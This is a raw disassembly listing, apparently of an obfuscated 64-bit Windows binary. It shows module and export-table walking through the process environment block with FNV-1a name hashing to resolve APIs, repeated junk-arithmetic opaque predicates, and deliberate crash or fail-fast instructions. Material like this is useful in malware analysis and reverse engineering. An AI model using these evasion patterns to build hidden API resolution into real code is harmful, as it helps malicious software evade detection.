movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov rax, r13
cmp byte [0x14034150a], r13b
sete al
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140105444
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x140105444
mov r9d, 9
jmp 0x1401054bb
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r10d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401054b6
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r9d, xmm0
jmp 0x1401054bb
mov r9d, dword [rsp + 0x78]
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r9d
test eax, eax
je 0x14010611f
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*2]
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401056ee
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
movzx eax, byte [0x14034150c]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010560c
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14010560c
mov r10d, 9
jmp 0x1401056a4
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010569f
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r10d, xmm0
jmp 0x1401056a4
mov r10d, dword [rsp + 0x78]
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x1401056ee
call fcn.140137ae4
mov rdx, qword [0x140342ec8]
test rdx, rdx
jne 0x14010584c
mov edi, r13d
mov esi, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
test edi, edi
je 0x140105764
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x140105757
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140105748
cmp edx, edi
jne 0x14010582d
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010582d
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010582d
mov r15d, dword [r10 + 0x20]
dec r11d
lea rdx, [r15 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401057b8
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401057ad
cmp edx, esi
je 0x1401057cd
test r11d, r11d
jne 0x140105798
jmp 0x14010582d
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140105845
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x140105845
mov eax, 0x811c9dc5
mov edi, eax
mov esi, eax
jmp 0x14010580e
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140105800
jmp 0x140105821
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140105816
mov rbx, qword [r14]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, r14
je 0x140105842
cmp qword [rax + 0x30], r13
jne 0x14010571d
mov rdx, r13
mov qword [0x140342ec8], rdx
mov ecx, 0x99
call rdx
mov rbx, qword [0x140343000]
test rbx, rbx
jne 0x1401059be
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
mov r15d, 0x811c9dc5
test edi, edi
je 0x1401058c8
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r15d
jmp 0x1401058bb
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401058ac
cmp edx, edi
jne 0x14010599a
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010599a
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010599a
mov r14d, dword [r10 + 0x20]
dec r11d
lea rdx, [r14 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, r15d
jmp 0x14010591a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010590f
cmp edx, r12d
je 0x140105930
test r11d, r11d
jne 0x1401058fc
jmp 0x14010599a
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x1401059b7
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x1401059b7
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x6c], ecx
jmp 0x140105971
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rbx
mov al, byte [rbx]
cmp al, 0x2e
jne 0x140105963
inc rbx
mov al, byte [rbx]
test al, al
je 0x140105997
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
inc rbx
mov al, byte [rbx]
test al, al
jne 0x140105980
mov dword [rbp - 0x6c], ecx
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x1401059b4
cmp qword [rax + 0x30], r13
je 0x1401059b4
mov r12d, dword [rbp - 0x6c]
jmp 0x14010587d
mov rbx, r13
mov qword [0x140343000], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x140342ff8]
test rdx, rdx
jne 0x140105b31
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
mov r15d, 0x811c9dc5
test edi, edi
je 0x140105a40
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r15d
jmp 0x140105a33
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140105a24
cmp edx, edi
jne 0x140105b12
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140105b12
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140105b12
mov r14d, dword [r10 + 0x20]
dec r11d
lea rdx, [r14 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, r15d
jmp 0x140105a92
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140105a87
cmp edx, dword [rbp - 0x68]
je 0x140105aa8
test r11d, r11d
jne 0x140105a74
jmp 0x140105b12
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140105b2a
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140105b2a
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x68], ecx
jmp 0x140105ae9
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140105adb
inc rdx
mov al, byte [rdx]
test al, al
je 0x140105b0f
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140105af8
mov dword [rbp - 0x68], ecx
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x140105b27
cmp qword [rax + 0x30], r13
jne 0x1401059f5
mov rdx, r13
mov qword [0x140342ff8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140342ff0]
test rdx, rdx
jne 0x140105c9b
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
mov r15d, 0x811c9dc5
test edi, edi
je 0x140105baa
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r15d
jmp 0x140105b9d
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140105b8e
cmp edx, edi
jne 0x140105c7c
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140105c7c
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140105c7c
mov r14d, dword [r10 + 0x20]
dec r11d
lea rdx, [r14 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, r15d
jmp 0x140105bfc
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140105bf1
cmp edx, dword [rbp - 0x64]
je 0x140105c12
test r11d, r11d
jne 0x140105bde
jmp 0x140105c7c
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140105c94
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140105c94
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x64], ecx
jmp 0x140105c53
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140105c45
inc rdx
mov al, byte [rdx]
test al, al
je 0x140105c79
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140105c62
mov dword [rbp - 0x64], ecx
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x140105c91
cmp qword [rax + 0x30], r13
jne 0x140105b5f
mov rdx, r13
mov qword [0x140342ff0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x140342fe8]
test rdx, rdx
jne 0x140105e05
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
mov r15d, 0x811c9dc5
test edi, edi
je 0x140105d14
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r15d
jmp 0x140105d07
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140105cf8
cmp edx, edi
jne 0x140105de6
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x140105de6
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x140105de6
mov r14d, dword [r10 + 0x20]
dec r11d
lea rdx, [r14 + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, r15d
jmp 0x140105d66
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140105d5b
cmp edx, dword [rbp - 0x60]
je 0x140105d7c
test r11d, r11d
jne 0x140105d48
jmp 0x140105de6
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x140105dfe
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x140105dfe
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x60], ecx
jmp 0x140105dbd
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x140105daf
inc rdx
mov al, byte [rdx]
test al, al
je 0x140105de3
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x140105dcc
mov dword [rbp - 0x60], ecx
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x140105dfb
cmp qword [rax + 0x30], r13
jne 0x140105cc9
mov rdx, r13
mov qword [0x140342fe8], rdx
xor ecx, ecx
call rdx
cmp qword [0x140342fe0], r13
jne 0x140105f6f
mov edi, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
mov r15d, 0x811c9dc5
test edi, edi
je 0x140105e7b
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r15d
jmp 0x140105e6e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x140105e5f
cmp edx, edi
jne 0x140105f50
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x140105f50
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140105f50
mov r14d, dword [r11 + 0x20]
dec r9d
lea rdx, [r14 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, r15d
jmp 0x140105ecd
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x140105ec2
cmp edx, dword [rbp - 0x5c]
je 0x140105ee3
test r9d, r9d
jne 0x140105eaf
jmp 0x140105f50
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x140105f68
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x140105f68
mov edi, r15d
mov ecx, r15d
mov dword [rbp - 0x5c], ecx
jmp 0x140105f24
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
inc r9
mov al, byte [r9]
cmp al, 0x2e
jne 0x140105f16
inc r9
mov al, byte [r9]
test al, al
je 0x140105f4d
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
inc r9
mov al, byte [r9]
test al, al
jne 0x140105f35
mov dword [rbp - 0x5c], ecx
mov rbx, qword [rsi]
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x140105f65
cmp qword [rax + 0x30], r13
jne 0x140105e30
mov r9, r13
mov qword [0x140342fe0], r9
xor ecx, ecx
int 0x29
mov r9d, r13d
call fcn.1401379e4
movsx edx, al
call fcn.1401379e8
movsx ecx, al
imul edx, ecx
lea esi, [rdx + rdx*4]
call fcn.1401379f4
movsx ecx, al
add esi, ecx
call fcn.1401379e4
movsx edx, al
call fcn.1401379e8
movsx ecx, al
imul edx, ecx
imul ebx, edx, 7
call fcn.1401379f4
movsx ecx, al
add ebx, ecx
call fcn.1401379e4
movsx r11d, al
call fcn.1401379e8
movsx ecx, al
imul r11d, ecx
call fcn.1401379f4
movsx edi, al
mov r10d, dword [rsp + 0x78]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010608f
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14010608f
mov r10d, 9
jmp 0x1401060e1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, ebx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401060e1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, edi
add eax, r11d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r10d, xmm0
cmp r9d, r10d
jge 0x140106113
mov edx, 1
mov eax, edx
mov qword [rsp + 0x78], rdx
mov ecx, edx
mov qword [rsp + rcx*8 + 0x78], rax
mov rax, qword [rsp + 0x78]
add rax, rdx
mov rcx, rax
mov qword [rsp + 0x78], rax
jne 0x1401060f4
add r9d, edx
jmp 0x140105fd8
mov qword [0], 0x99
mov r14d, 9
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
call fcn.1401379f4
movsx ecx, al
lea eax, [rcx + rdx*8]
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140106311
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mov al, byte [rbp + 0x1a0]
xor al, 1
movzx eax, al
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm1, xmm0
movsd qword [rsp + 0x68], xmm1
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x14010622d
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x14010622d
mov r10d, r14d
jmp 0x1401062c5
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
imul r9d, edx, 7
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401062c0
call fcn.1401379e8
movsx r9d, al
call fcn.1401379e4
movsx ecx, al
imul r9d, ecx
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si r10d, xmm0
jmp 0x1401062c5
mov r10d, dword [rsp + 0x78]
call fcn.1401379e8
movsx edx, al
call fcn.1401379e4
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*2]
call fcn.1401379f4
movsx eax, al
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htons]
add eax, ecx
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
imul eax, r10d
test eax, eax
je 0x140106311
call fcn.1400e1e4c
mov ebx, r13d
call fcn.1401379e4
movsx edx, al
call fcn.1401379e8
movsx ecx, al
imul edx, ecx
lea r13d, [rdx + rdx*8]
call fcn.1401379f4
movsx ecx, al
add r13d, ecx
call fcn.1401379e4
movsx edx, al
call fcn.1401379e8
movsx ecx, al
imul edx, ecx
lea r9d, [rdx + rdx*4]
call fcn.1401379f4
movsx ecx, al
add r9d, ecx
mov dword [rsp + 0x78], r9d
call fcn.1401379e4
movsx edx, al
call fcn.1401379e8
movsx ecx, al
imul edx, ecx
imul r15d, edx, 7
call fcn.1401379f4
movsx ecx, al
add r15d, ecx
call fcn.1401379e4
movsx r14d, al
call fcn.1401379e8
movsx ecx, al
imul r14d, ecx
call fcn.1401379f4
movsx r12d, al
mov esi, dword [rsp + 0x78]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r13d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x68], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r9d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140106459
call fcn.1401379ec
movsx edx, al
movsx eax, byte [0x140341580]
imul edx, eax
lea r8d, [rdx + rdx*4]
add r8d, r8d
call fcn.1401379f8
movsx ecx, al
sub r8d, ecx
call fcn.1401379f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x140106459
mov esi, 9
jmp 0x1401064ac
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r15d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1401064ac
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r12d
add eax, r14d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x68]
cvttsd2si esi, xmm0
cmp ebx, esi
jge 0x1401064cc
mov edi, reloc.WLDAP32.dll_Ordinal_200
call fcn.14013c4b0
sub rdi, 1
jne 0x1401064b5
inc ebx
mov r9d, dword [rsp + 0x78]
jmp 0x1401063a1
mov rdx, qword [0x140342ee0]
xor r12d, r12d
test rdx, rdx
jne 0x14010662c
mov edi, r12d
mov esi, 0xe01c97dc
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r14, qword [rax]
mov rbx, r14
movups xmm0, xmmword [rbx + 0x58]
movd eax, xmm0
sub ax, 8
mov r13d, 0x811c9dc5
test edi, edi
je 0x140106549
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, r13d
jmp 0x14010653c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010652d
cmp edx, edi
